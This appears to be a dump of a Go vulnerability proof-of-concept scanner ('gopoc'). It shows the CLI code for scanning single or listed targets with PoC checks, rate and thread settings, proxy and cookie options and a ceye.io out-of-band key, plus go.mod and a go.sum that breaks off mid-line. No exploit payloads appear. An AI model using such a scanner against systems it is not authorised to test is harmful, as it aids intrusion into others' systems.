├── cmd └── cmd.go ├── go.mod ├── go.sum ├── lib ├── check.go ├── eval.go ├── http.go ├── http.pb.go ├── http.proto └── poc.go ├── main.go ├── poc.yaml ├── readme.md └── utils ├── helper.go └── log.go /cmd/cmd.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "fmt" 7 | "github.com/urfave/cli/v2" 8 | "gopoc/lib" 9 | "gopoc/utils" 10 | "io/ioutil" 11 | "net/http" 12 | "os" 13 | "sort" 14 | "strings" 15 | "time" 16 | ) 17 | 18 | var ( 19 | num int 20 | rate int 21 | timeout time.Duration 22 | proxy string 23 | pocName string 24 | pocDir string 25 | target string 26 | targetFile string 27 | rawFile string 28 | cookie string 29 | verbose bool 30 | debug bool 31 | forceSSL bool 32 | apiKey string 33 | ceyeDomain string 34 | ) 35 | 36 | func Execute() { 37 | app := &cli.App{ 38 | Name: "go poc scanner", 39 | Usage: "A poc framework written in golang", 40 | Version: "1.0.0", 41 | Flags: []cli.Flag{ 42 | &cli.StringFlag{Name: "apiKey", Aliases: []string{"k"}, Destination: &apiKey, Value: "", Usage: "ceye.io api key"}, 43 | &cli.StringFlag{Name: "domain", Destination: &ceyeDomain, Value: "", Usage: "ceye.io subdomain"}, 44 | &cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Destination: &debug, Value: false, Usage: "log level debug"}, 45 | &cli.BoolFlag{Name: "info", Aliases: []string{"i"}, Destination: &verbose, Value: false, Usage: "log level info"}, 46 | &cli.StringFlag{Name: "poc-name", Aliases: []string{"p"}, Destination: &pocName, Value: "", Usage: "single poc `NAME`"}, 47 | &cli.StringFlag{Name: "poc-dir", Aliases: []string{"P"}, Destination: &pocDir, Value: "", Usage: "load multi poc from `DIRECTORY`, eg: pocs/* or pocs/thinkphp.*"}, 48 | &cli.StringFlag{Name: "target", Aliases: []string{"t"}, Destination: &target, Value: "", Usage: "target to scan"}, 49 | &cli.StringFlag{Name: "targetFile", Aliases: []string{"l"}, Destination: &targetFile, Value: "", Usage: "load targets from `FILE`"}, 50 | &cli.StringFlag{Name: "raw", Aliases: []string{"r"}, Destination: &rawFile, Value: "", Usage: "request raw `File`"}, 51 | &cli.BoolFlag{Name: "ssl", Destination: &forceSSL, Value: false, Usage: "force usage of SSL/HTTPS for raw"}, 52 | &cli.IntFlag{Name: "num", Value: 10, Destination: &num, Usage: "threads `NUM`"}, 53 | &cli.IntFlag{Name: "rate", Value: 100, Destination: &rate, Usage: "scan rate, request per second"}, 54 | &cli.DurationFlag{Name: "timeout", Destination: &timeout, Value: 10 * time.Second, Usage: "scan `TIMEOUT`"}, 55 | &cli.StringFlag{Name: "cookie", Destination: &cookie, Value: "", Usage: "http cookie header"}, 56 | &cli.StringFlag{Name: "proxy", Destination: &proxy, Value: "", Usage: "http proxy", DefaultText: "http://127.0.0.1:8080"}, 57 | }, 58 | Action: func(c *cli.Context) error { 59 | err := lib.InitHttpClient(num, proxy, timeout) 60 | if err != nil { 61 | return err 62 | } 63 | utils.InitLog(debug, verbose) 64 | if !lib.InitCeyeApi(apiKey, ceyeDomain) { 65 | utils.Warning("no api") 66 | } 67 | switch { 68 | case target != "": 69 | if strings.HasPrefix(target, "http://") || strings.HasPrefix(target, "https://") { 70 | } else { 71 | target = "http://" + target 72 | } 73 | req, err := http.NewRequest("GET", target, nil) 74 | if err != nil { 75 | return err 76 | } 77 | if cookie != "" { 78 | req.Header.Set("Cookie", cookie) 79 | } 80 | if pocName != "" { 81 | if poc := lib.CheckSinglePoc(req, pocName); poc != nil { 82 | utils.Green("%v, %s", target, poc.Name) 83 | } 84 | } else if pocDir != "" { 85 | lib.CheckMultiPoc(req, pocDir, num) 86 | } 87 | case targetFile != "": 88 | targets := utils.ReadingLines(targetFile) 89 | if pocName != "" { 90 | lib.BatchCheckSinglePoc(targets, pocName, num) 91 | } else if pocDir != "" { 92 | lib.BatchCheckMultiPoc(targets, pocDir, num, rate) 93 | } 94 | case rawFile != "": 95 | raw, err := ioutil.ReadFile(rawFile) 96 | if err != nil { 97 | return err 98 | } 99 | req, err := http.ReadRequest(bufio.NewReader(bytes.NewReader(raw))) 100 | if err != nil { 101 | return err 102 | } 103 | if !req.URL.IsAbs() { 104 | scheme := "http" 105 | if forceSSL { 106 | scheme = "https" 107 | } 108 | req.URL.Scheme = scheme 109 | req.URL.Host = req.Host 110 | } 111 | 112 | if pocName != "" { 113 | if poc := lib.CheckSinglePoc(req, pocName); poc != nil { 114 | utils.Green("%v, %s", target, poc.Name) 115 | } 116 | } else if pocDir != "" { 117 | lib.CheckMultiPoc(req, pocDir, num) 118 | } 119 | default: 120 | fmt.Println("Use -h for basic help") 121 | } 122 | return nil 123 | }, 124 | } 125 | 126 | sort.Sort(cli.FlagsByName(app.Flags)) 127 | sort.Sort(cli.CommandsByName(app.Commands)) 128 | 129 | err := app.Run(os.Args) 130 | if err != nil { 131 | fmt.Println(err) 132 | return 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module gopoc 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f // indirect 7 | github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect 8 | github.com/fatih/color v1.9.0 9 | github.com/golang/protobuf v1.4.1 10 | github.com/google/cel-go v0.4.2 11 | github.com/mattn/go-colorable v0.1.6 // indirect 12 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect 13 | github.com/onsi/ginkgo v1.12.0 // indirect 14 | github.com/onsi/gomega v1.9.0 // indirect 15 | github.com/sirupsen/logrus v1.6.0 16 | github.com/thoas/go-funk v0.6.0 17 | github.com/urfave/cli/v2 v2.2.0 18 | github.com/x-cray/logrus-prefixed-formatter v0.5.2 19 | golang.org/x/net v0.0.0-20201021035429-f5854403a974 // indirect 20 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect 21 | google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84 22 | google.golang.org/grpc v1.29.1 // indirect 23 | gopkg.in/yaml.v2 v2.2.8 24 | ) 25 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 2 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 3 | github.com/antlr/antlr4 v0.0.0-20190819145818-b43a4c3a8015/go.mod h1:T7PbCXFs94rrTttyxjbyT5+/1V8T2TYDejxUfHJjw1Y= 4 | github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f h1:0cEys61Sr2hUBEXfNV8eyQP01oZuBgoMeHunebPirK8= 5 | github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f/go.mod h1:T7PbCXFs94rrTttyxjbyT5+/1V8T2TYDejxUfHJjw1Y= 6 | github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= 7 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= 8 | github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= 9 | github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= 10 | github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM= 11 | github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= 12 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 13 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 14 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 15 | github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= 16 | github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= 17 | github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= 18 | github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= 19 | github.com/fatih/color v1.9.0 h1:8xPHl4/q1VyqGIPif1F+1V3Y3lSmrq01EabUW3CoW5s= 20 | github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= 21 | github.com/fsnotify/fsnotify v1.4.7 h1:IXs+QLmnXW2CcXuY+8Mzv/fWEsPGWxqefPtCP5CnV9I= 22 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= 23 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= 24 | github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 25 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 26 | github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 27 | github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= 28 | github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= 29 | github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= 30 | github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= 31 | github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= 32 | github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= 33 | github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= 34 | github.com/golang/protobuf v1.4.1 h1:ZFgWrT+bLgsYPirOnRfKLYJLvssAegOj/hgyMFdJZe0= 35 | github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= 36 | github.com/google/cel-go v0.4.2 h1:Fx1DQPo05qFcDst4TwiGgFfmTjjHsLLbLYQGX67QYUk= 37 | github.com/google/cel-go v0.4.2/go.mod h1:0pIisECLUDurNyQcYRcNjhGp0j/yM6v617EmXsBJE3A= 38 | github.com/google/cel-spec v0.4.0/go.mod h1:2pBM5cU4UKjbPDXBgwWkiwBsVgnxknuEJ7C5TDWwORQ= 39 | github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= 40 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 41 | github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 42 | github.com/google/go-cmp v0.4.0 h1:xsAVV57WRhGj6kEIi8ReJzQlHHqcBYCElAvkovg3B/4= 43 | github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 44 | github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI= 45 | github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= 46 | github.com/konsorten/go-windows-terminal-sequences v1.0.3 h1:CE8S1cTafDpPvMhIxNJKvHsGVBgn1xWYf1NbHQhywc8= 47 | github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= 48 | github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= 49 | github.com/mattn/go-colorable v0.1.6 h1:6Su7aK7lXmJ/U79bYtBjLNaha4Fs1Rg9plHpcH+vvnE= 50 | github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 51 | github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= 52 | github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= 53 | github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY= 54 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 55 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4= 56 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE= 57 | github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= 58 | github.com/onsi/ginkgo v1.12.0 h1:Iw5WCbBcaAAd0fpRb1c9r5YCylv4XDoCSigm1zLevwU= 59 | github.com/onsi/ginkgo v1.12.0/go.mod h1:oUhWkIvk5aDxtKvDDuw8gItl8pKl42LzjC9KZE0HfGg= 60 | github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= 61 | github.com/onsi/gomega v1.9.0 h1:R1uwffexN6Pr340GtYRIdZmAiN4J+iw6WG4wog1DUXg= 62 | github.com/onsi/gomega v1.9.0/go.mod h1:Ho0h+IUsWyvy1OpqCwxlQ/21gkhVunqlU8fDGcoTdcA= 63 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 64 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 65 | github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= 66 | github.com/russross/blackfriday/v2 v2.0.1 h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q= 67 | github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 68 | github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo= 69 | github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= 70 | github.com/sirupsen/logrus v1.6.0 h1:UBcNElsrwanuuMsnGSlYmtmgbb23qDR5dG+6X6Oo89I= 71 | github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= 72 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 73 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= 74 | github.com/stretchr/testify v1.4.0 h1:2E4SXV/wtOkTonXsotYi4li6zVWxYlZuYNCXe9XRJyk= 75 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 76 | github.com/thoas/go-funk v0.6.0 h1:ryxN0pa9FnI7YHgODdLIZ4T6paCZJt8od6N9oRztMxM= 77 | github.com/thoas/go-funk v0.6.0/go.mod h1:+IWnUfUmFO1+WVYQWQtIJHeRRdaIyyYglZN7xzUPe4Q= 78 | github.com/urfave/cli/v2 v2.2.0 h1:JTTnM6wKzdA0Jqodd966MVj4vWbbquZykeX1sKbe2C4= 79 | github.com/urfave/cli/v2 v2.2.0/go.mod h1:SE9GqnLQmjVa0iPEY0f1w3ygNIYcIJ0OKPMoW2caLfQ= 80 | github.com/x-cray/logrus-prefixed-formatter v0.5.2 h1:00txxvfBM9muc0jiLIEAkAcIMJzfthRT6usrui8uGmg= 81 | github.com/x-cray/logrus-prefixed-formatter v0.5.2/go.mod h1:2duySbKsL6M18s5GU7VPsoEPHyzalCE06qoARUCeBBE= 82 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 83 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 h1:psW17arqaxU48Z5kZ0CQnkZWQJsqcURM6tKiBApRjXI= 84 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 85 | golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= 86 | golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= 87 | golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= 88 | golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= 89 | golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 90 | golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 91 | golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 92 | golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 93 | golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 94 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 95 | golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 96 | golang.org/x/net v0.0.0-20201021035429-f5854403a974 h1:IX6qOQeG5uLjB/hjjwjedwfjND0hgjPMMyO1RoIXQNI= 97 | golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 98 | golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= 99 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 100 | golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 101 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 102 | golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 103 | golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 104 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 105 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 106 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 107 | golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 108 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 109 | golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 110 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 111 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 112 | golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 113 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f h1:+Nyd8tzPX9R7BWHguqsrbFdRx3WQ/1ib8I44HXV5yTA= 114 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 115 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 116 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= 117 | golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k= 118 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 119 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 120 | golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 121 | golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= 122 | golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 123 | golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= 124 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 125 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 126 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= 127 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 128 | google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= 129 | google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= 130 | google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= 131 | google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= 132 | google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 133 | google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84 h1:pSLkPbrjnPyLDYUO2VM9mDLqo2V6CFBY84lFSZAfoi4= 134 | google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 135 | google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= 136 | google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= 137 | google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= 138 | google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= 139 | google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= 140 | google.golang.org/grpc v1.29.1 h1:EC2SB8S04d2r73uptxphDSUG+kTKVgjRPF+N3xpxRB4= 141 | google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= 142 | google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= 143 | google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= 144 | google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= 145 | google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= 146 | google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= 147 | google.golang.org/protobuf v1.22.0 h1:cJv5/xdbk1NnMPR1VP9+HU6gupuG9MLBoH1r6RHZ2MY= 148 | google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 149 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 150 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 151 | gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4= 152 | gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= 153 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= 154 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod 